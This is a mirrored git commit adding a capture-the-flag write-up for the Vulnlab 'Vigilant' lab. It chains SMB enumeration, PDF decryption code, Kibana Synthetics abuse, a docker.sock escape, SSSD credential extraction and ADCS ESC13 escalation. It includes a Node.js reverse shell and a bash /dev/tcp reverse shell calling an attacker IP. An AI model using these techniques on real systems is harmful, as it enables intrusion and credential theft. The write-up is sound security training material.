mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-21 19:43:03 +00:00
Create Vigilant.md
This commit is contained in:
parent
57590a8c6b
commit
41285d5610
1 changed files with 409 additions and 0 deletions
409
Vulnlab/Vigilant.md
Normal file
409
Vulnlab/Vigilant.md
Normal file
|
@ -0,0 +1,409 @@
|
||||||
|
# Vulnlab - Vigilant
|
||||||
|
|
||||||
|
## DC.vigilant.vl
|
||||||
|
|
||||||
|
```bash
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
53/tcp open domain Simple DNS Plus
|
||||||
|
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-21 16:06:06Z)
|
||||||
|
135/tcp open msrpc Microsoft Windows RPC
|
||||||
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
|
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|
||||||
|
| ssl-cert: Subject: commonName=DC.vigilant.vl
|
||||||
|
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
|
||||||
|
445/tcp open microsoft-ds?
|
||||||
|
464/tcp open kpasswd5?
|
||||||
|
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
|
||||||
|
636/tcp open ssl/ldapssl?
|
||||||
|
|_ssl-date: TLS randomness does not represent time
|
||||||
|
| ssl-cert: Subject: commonName=DC.vigilant.vl
|
||||||
|
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
|
||||||
|
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|
||||||
|
|_ssl-date: TLS randomness does not represent time
|
||||||
|
| ssl-cert: Subject: commonName=DC.vigilant.vl
|
||||||
|
3269/tcp open globalcatLDAPssl?
|
||||||
|
|_ssl-date: TLS randomness does not represent time
|
||||||
|
| ssl-cert: Subject: commonName=DC.vigilant.vl
|
||||||
|
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.vigilant.vlc
|
||||||
|
3389/tcp open ms-wbt-server Microsoft Terminal Services
|
||||||
|
| rdp-ntlm-info:
|
||||||
|
| Target_Name: VIGILANT
|
||||||
|
| NetBIOS_Domain_Name: VIGILANT
|
||||||
|
| NetBIOS_Computer_Name: DC
|
||||||
|
| DNS_Domain_Name: vigilant.vl
|
||||||
|
| DNS_Computer_Name: DC.vigilant.vl
|
||||||
|
| Product_Version: 10.0.20348
|
||||||
|
|_ System_Time: 2024-04-21T16:06:29+00:00
|
||||||
|
5601/tcp open esmagent
|
||||||
|
9200/tcp open wap-wsp?
|
||||||
|
| ssl-cert: Subject: commonName=instance
|
||||||
|
| Subject Alternative Name: IP Address:127.0.0.1, DNS:dc.vigilant.vl
|
||||||
|
```
|
||||||
|
|
||||||
|
## SRV
|
||||||
|
|
||||||
|
```bash
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
|
||||||
|
| ssh-hostkey:
|
||||||
|
| 256 96c0d790bbcc7716c6e1a503f1ca5c25 (ECDSA)
|
||||||
|
|_ 256 1223dbbbd8563e14197104342c224965 (ED25519)
|
||||||
|
80/tcp open http nginx 1.18.0 (Ubuntu)
|
||||||
|
| http-methods:
|
||||||
|
|_ Supported Methods: GET HEAD
|
||||||
|
|_http-server-header: nginx/1.18.0 (Ubuntu)
|
||||||
|
|_http-title: Vigilant Cybersecurity
|
||||||
|
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||||
|
```
|
||||||
|
|
||||||
|
## PORT 80
|
||||||
|
|
||||||
|
Visiting the webserver, it shows us one pager site having nothing out of interest
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/nmOVSht.png"/>
|
||||||
|
## PORT 445 (SMB)
|
||||||
|
|
||||||
|
Listing smb shares with anonymous user
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/OWdO7qs.png"/>
|
||||||
|
|
||||||
|
`IT` can be be access anonymously having `IT_Support` directory containg AD Audit report for password policy which seems to be encrypted judging from the file name
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/WAA4fx1.png"/>
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/KsOTrXM.png"/>
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/azbuQPf.png"/>
|
||||||
|
|
||||||
|
On opening this file, it won't be recognized by document reviewer as the contents of this file are encrypted
|
||||||
|
<img src="https://i.imgur.com/8VAw6Hf.png"/>
|
||||||
|
|
||||||
|
## Decrypting the PDF File By Analyzing the Encrypt function
|
||||||
|
|
||||||
|
Since this report was generated by ADAudit tool, it's possible that there might be something we need to grab from there, grabbing ADAudit.dll file from share
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/B1IwUaH.png"/>
|
||||||
|
|
||||||
|
On analyzing the dll file with `ILSpy` we'll get the password for `svc_auditreporter`
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/q2bpKpH.png"/>
|
||||||
|
|
||||||
|
Verifying these credentials through netexec to see if they are valid
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/ECREpdu.png"/>
|
||||||
|
|
||||||
|
We can also find the how the files are being encrypted from `ADAuditLib.dll`
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/nUE5ccx.png"/>
|
||||||
|
|
||||||
|
For encrypting the contents, it's using XORing with key and then performing bitwise operations, the key here is generated with the seed `12345` which will return the same value, afterwards it's shuffling the bytes with `ShuffleBytes` function and then writing the output, for decrypting it we can reverse the shuffling of bytes
|
||||||
|
|
||||||
|
```c#
|
||||||
|
private static void UnshuffleBytes(ref byte[] data)
|
||||||
|
{
|
||||||
|
for (int i = data.Length - 2; i >= 0; i -= 2)
|
||||||
|
{
|
||||||
|
byte b = data[i];
|
||||||
|
data[i] = data[i - 1];
|
||||||
|
data[i - 1] = b;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
And reverse the XORing and bitwise part
|
||||||
|
|
||||||
|
```c#
|
||||||
|
for (int i = 0; i < data.Length; i++)
|
||||||
|
{
|
||||||
|
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
|
||||||
|
data[i] ^= array[i % array.Length];
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The resulting code will look like this for decryption
|
||||||
|
|
||||||
|
```c#
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
public static class DecryptionUtility
|
||||||
|
{
|
||||||
|
public static void DecryptFile(string encryptedFilePath)
|
||||||
|
{
|
||||||
|
if (!File.Exists(encryptedFilePath))
|
||||||
|
{
|
||||||
|
throw new FileNotFoundException();
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] data = File.ReadAllBytes(encryptedFilePath);
|
||||||
|
|
||||||
|
UnshuffleBytes(ref data);
|
||||||
|
|
||||||
|
byte[] array = GenerateKey(data.Length);
|
||||||
|
|
||||||
|
for (int i = 0; i < data.Length; i++)
|
||||||
|
{
|
||||||
|
data[i] = (byte)((data[i] >> 4) | (data[i] << 4));
|
||||||
|
data[i] ^= array[i % array.Length];
|
||||||
|
}
|
||||||
|
|
||||||
|
string decryptedFilePath = encryptedFilePath.Replace("_encrypted", "_decrypted");
|
||||||
|
File.WriteAllBytes(decryptedFilePath, data);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void UnshuffleBytes(ref byte[] data)
|
||||||
|
{
|
||||||
|
for (int i = data.Length - 2; i >= 0; i -= 2)
|
||||||
|
{
|
||||||
|
byte b = data[i];
|
||||||
|
data[i] = data[i - 1];
|
||||||
|
data[i - 1] = b;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] GenerateKey(int length)
|
||||||
|
{
|
||||||
|
byte[] array = new byte[length];
|
||||||
|
new Random(12345).NextBytes(array);
|
||||||
|
return array;
|
||||||
|
}
|
||||||
|
static public void Main(String[] args)
|
||||||
|
{
|
||||||
|
|
||||||
|
DecryptFile("E:\\Password_Strength_Report_encrypted.pdf");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Running this will decrypt the file for us and present us with 4 set of user creds
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/LT6dk2L.png"/>
|
||||||
|
|
||||||
|
Spraying these creds, we'll get 3 valid hits and one user having password expired
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/JUZljn2.png"/>
|
||||||
|
|
||||||
|
Enumerating the domain first to see if we can go anywhere from the users we have
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 /opt/BloodHound.py/bloodhound.py -u 'svc_auditreporter' -p 'pass' -d vigilant.vl -dc DC.vigilant.vl -ns 10.10.224.85
|
||||||
|
```
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/DhsPV9c.png"/>
|
||||||
|
|
||||||
|
We have pamela.clark belonging to `TECHSUPPORTERS` group
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/7XXarJK.png"/>
|
||||||
|
|
||||||
|
`Alex.powell` belonging to `ADTeams`
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/GIF3fNV.png"/>
|
||||||
|
|
||||||
|
Edwin.Dixon in `Accountants` group
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/5Uj1eEJ.png"/>
|
||||||
|
|
||||||
|
And `Daniel.Washington` in `MarketingStartegies` group
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/zTmxVEt.png"/>
|
||||||
|
|
||||||
|
## Accessing Kibana With Pamela
|
||||||
|
|
||||||
|
But this doesn't further lead to anywhere on the domain, the domain controller has instance of Kibana running on port 5601, with Pamela's password we can login
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/388XiqG.png"/>
|
||||||
|
|
||||||
|
Kibana is used for data visualization to detect patterns, monitor the environment, look for abnormal behavior, representing it in the form of graph and charts, here we are a superuser so we pretty much control over this instance of kibana
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/riNOLBM.png"/>
|
||||||
|
|
||||||
|
But we need to figure out the agents using kibana and how to achieve access on those hosts, agents can be listed through `Fleets` http://dc.vigilant.vl:5601/app/fleet
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/M1tq73n.png"/>
|
||||||
|
|
||||||
|
There are two agents one is the linux server and the other is domain controller, so most likely we'll be dealing with the linux machine as we have the integration for html page that we saw earlier
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/fQYxLRd.png"/>
|
||||||
|
|
||||||
|
Googling around a way to execute commands or get a shell from kibana lead us to nowhere until taking a hint from vulnlab's wiki, that we can achieve it from `Synthetics` , which is used for monitoring and test if the web site is functioning correctly
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/B0MNdb1.png"/>
|
||||||
|
|
||||||
|
We already have the marketing page being monitored, we can test scripts on this page, to do that we need to create what is called a `monitor` , there's already a monitor configured, which is using type script to visit the marketing page
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/oCK6ecB.png"/>
|
||||||
|
|
||||||
|
Using this script we can use `file` protocol to read local files like `/etc/passwd`
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/FLStFDM.png"/>
|
||||||
|
|
||||||
|
As soon as this test will be completed it will take a screenshot, having the result
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/vdECHVp.png"/>
|
||||||
|
<img src="https://i.imgur.com/DikjxPr.png"/>
|
||||||
|
|
||||||
|
## Getting a reverse shell through synthetic monitor
|
||||||
|
|
||||||
|
However having just the ability to read local files won't lead us anywhere, we need to get a shell , so looking at the script that we used, it's `playwright`, an open source nodejs library for browser testing, when using `child_process` to execute system command we'll get an error that only step definations are allowed with inline scripts
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/Tl0lUvv.png"/>
|
||||||
|
|
||||||
|
For using external packages like child_process, we need to create `journey` which is a complete step of doing something rather than creating a monitor which just checks if the page is loading correctly. According to the documentation we first need to initialize the synthetic project
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/TDj8TSH.png"/>
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npx @elastic/synthetics init test
|
||||||
|
```
|
||||||
|
|
||||||
|
At initializing the project, we'll be asked to provide the API key, generating the project API key from here
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/SZ4YPLn.png"/>
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/3eLzVbQ.png"/>
|
||||||
|
<img src="https://i.imgur.com/lf2GmjJ.png"/>
|
||||||
|
|
||||||
|
Modify the contents of `example.journey.ts` from the `journeys` directory
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/GoSDnSY.png"/>
|
||||||
|
```node
|
||||||
|
import { journey, step, expect } from '@elastic/synthetics';
|
||||||
|
|
||||||
|
journey('Ensure placeholder is correct', ({ page }) => {
|
||||||
|
step('Load the demo page', async () => {
|
||||||
|
await page.goto('http://10.8.0.136');
|
||||||
|
(function(){
|
||||||
|
var net = require("net"),
|
||||||
|
cp = require("child_process"),
|
||||||
|
sh = cp.spawn("/bin/sh", []);
|
||||||
|
var client = new net.Socket();
|
||||||
|
client.connect(2222, "10.8.0.136", function(){
|
||||||
|
client.pipe(sh.stdin);
|
||||||
|
sh.stdout.pipe(client);
|
||||||
|
sh.stderr.pipe(client);
|
||||||
|
});
|
||||||
|
return /a/;
|
||||||
|
})();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
Using `push` to create this project, it will create the monitor
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/ePkk4mS.png"/>
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/6HvIHkC.png"/>
|
||||||
|
|
||||||
|
Wait for few minutes for the monitor to be triggered having netcat listener and http server ready
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/uQGuylh.png"/>
|
||||||
|
|
||||||
|
From the filesystem, this seems like we are inside a docker container
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/I5f3hDz.png"/>
|
||||||
|
## Breaking out of container via docker sock
|
||||||
|
|
||||||
|
By running `capsh` we can list down the capabilities of the container but from the output it doesn't seem like it has a capability that we can abuse
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/ANBqw7F.png"/>
|
||||||
|
|
||||||
|
Since `elastic-agent` is part of root group, `docker.sock` can be mounted which can be used for communicating with docker daemon to mount the host file system
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/TOtc5KE.png"/>
|
||||||
|
|
||||||
|
Using `deepce.sh` https://github.com/stealthcopter/deepce we can breakout of docker utilizing docker.sock, to test it we can try reading `/etc/shadow` from the host by creating a container and mount the file system
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/J5w7RaJ.png"/>
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/MCSQFmX.png"/>
|
||||||
|
|
||||||
|
Running a bash reverse shell
|
||||||
|
|
||||||
|
```bash
|
||||||
|
deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.136/3333 0>&1'"
|
||||||
|
```
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/FBfjyNy.png"/>
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/BAQU6jt.png"/>
|
||||||
|
|
||||||
|
I placed my ssh public key to login as root, this wasn't really necessary but I just wanted a proper shell
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/eat7kq5.png"/>
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/BTVgM44.png"/>
|
||||||
|
|
||||||
|
## Extracting cached credentials (SSSD creds)
|
||||||
|
|
||||||
|
From linpeas, we find that this machine is domain joined and cache credentials is enabled from `/etc/sssd/sssd.conf` , sssd is responsible for enabling the system to access authentication services such as active directory
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/qyi78db.png"/>
|
||||||
|
|
||||||
|
Linux systems joined with AD store Kerberos credentials locally in the credential cache file referred to as the `ccache`. By default sssd maintains a copy of cached credential in `/var/lib/sss/db` .
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/oac6bCo.png"/>
|
||||||
|
With `tdbdump` we can read the contents of ldb cache file and we want to look for `cachedPassword`
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/wBRXCTD.png"/>
|
||||||
|
gabriel.stewart's sha512crypt hash can be cracked with either john or hashcat
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/QcrcVb6.png"/>
|
||||||
|
|
||||||
|
Gabriel is a part of `JUNIORADMINS` group which is further part of `REMOTE MANAGEMENT USERS`
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/wHEtOgL.png"/>
|
||||||
|
<img src="https://i.imgur.com/8K6eByj.png"/>
|
||||||
|
|
||||||
|
Again there's nothing that we could do from gabriel, no acls or any special privilege
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/xCSEWwr.png"/>
|
||||||
|
|
||||||
|
Running `certutil` this machine has ADCS installed
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/Hj5IgQj.png"/>
|
||||||
|
|
||||||
|
Certificate templates can be enumerated with certify but I'll be using the python version `certipy` as it had support for ESC13 added https://github.com/ly4k/Certipy/pull/196
|
||||||
|
|
||||||
|
## Escalating privileges through ESC13
|
||||||
|
|
||||||
|
```bash
|
||||||
|
certipy find -u gabriel.stewart -vulnerable -target DC.vigilant.vl -dc-ip 10.10.182.37 -stdout
|
||||||
|
```
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/6G4zZpg.png"/>
|
||||||
|
|
||||||
|
certipy finds one template which gabriel can enroll, with a linked group `Temporary Admins` having `EKU` set to Client Authentication, the template can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/BLerxnM.png"/>
|
||||||
|
|
||||||
|
Having this certificate we can become a local admin to domain controller
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/NZ98OKB.png"/>
|
||||||
|
|
||||||
|
```bash
|
||||||
|
certipy req -u 'gabriel.stewart' -ca 'vigilant-CA' -dc-ip 10.10.182.37 -target DC.vigilant.vl -template 'VigilantAdmins' -key-size 4096
|
||||||
|
```
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/LimxYrg.png"/>
|
||||||
|
Requesting TGT with the certificate
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/swofn45.png"/>
|
||||||
|
Now logging with winrm again but this time with ticket we obtained since this ticket represents that we are a member of temporary admin group
|
||||||
|
|
||||||
|
<img src="https://i.imgur.com/LvVXyF4.png"/>
|
||||||
|
<img src="https://i.imgur.com/IpLkuXI.png"/>
|
||||||
|
|
||||||
|
|
||||||
|
# References
|
||||||
|
|
||||||
|
- https://www.elastic.co/guide/en/fleet/7.17/view-elastic-agent-status.html
|
||||||
|
- https://www.elastic.co/guide/en/observability/current/synthetics-get-started-ui.html
|
||||||
|
- https://www.elastic.co/guide/en/observability/current/synthetics-recorder.html
|
||||||
|
- https://gist.github.com/secoats/44b9b42920ac4a825e54e7310303cfdb
|
||||||
|
- https://download.docker.com/linux/static/stable/
|
||||||
|
- https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/attacking-docker-containers/insecure-volume-mount.html
|
||||||
|
- https://github.com/stealthcopter/deepce
|
||||||
|
- https://github.com/ly4k/Certipy/pull/196
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue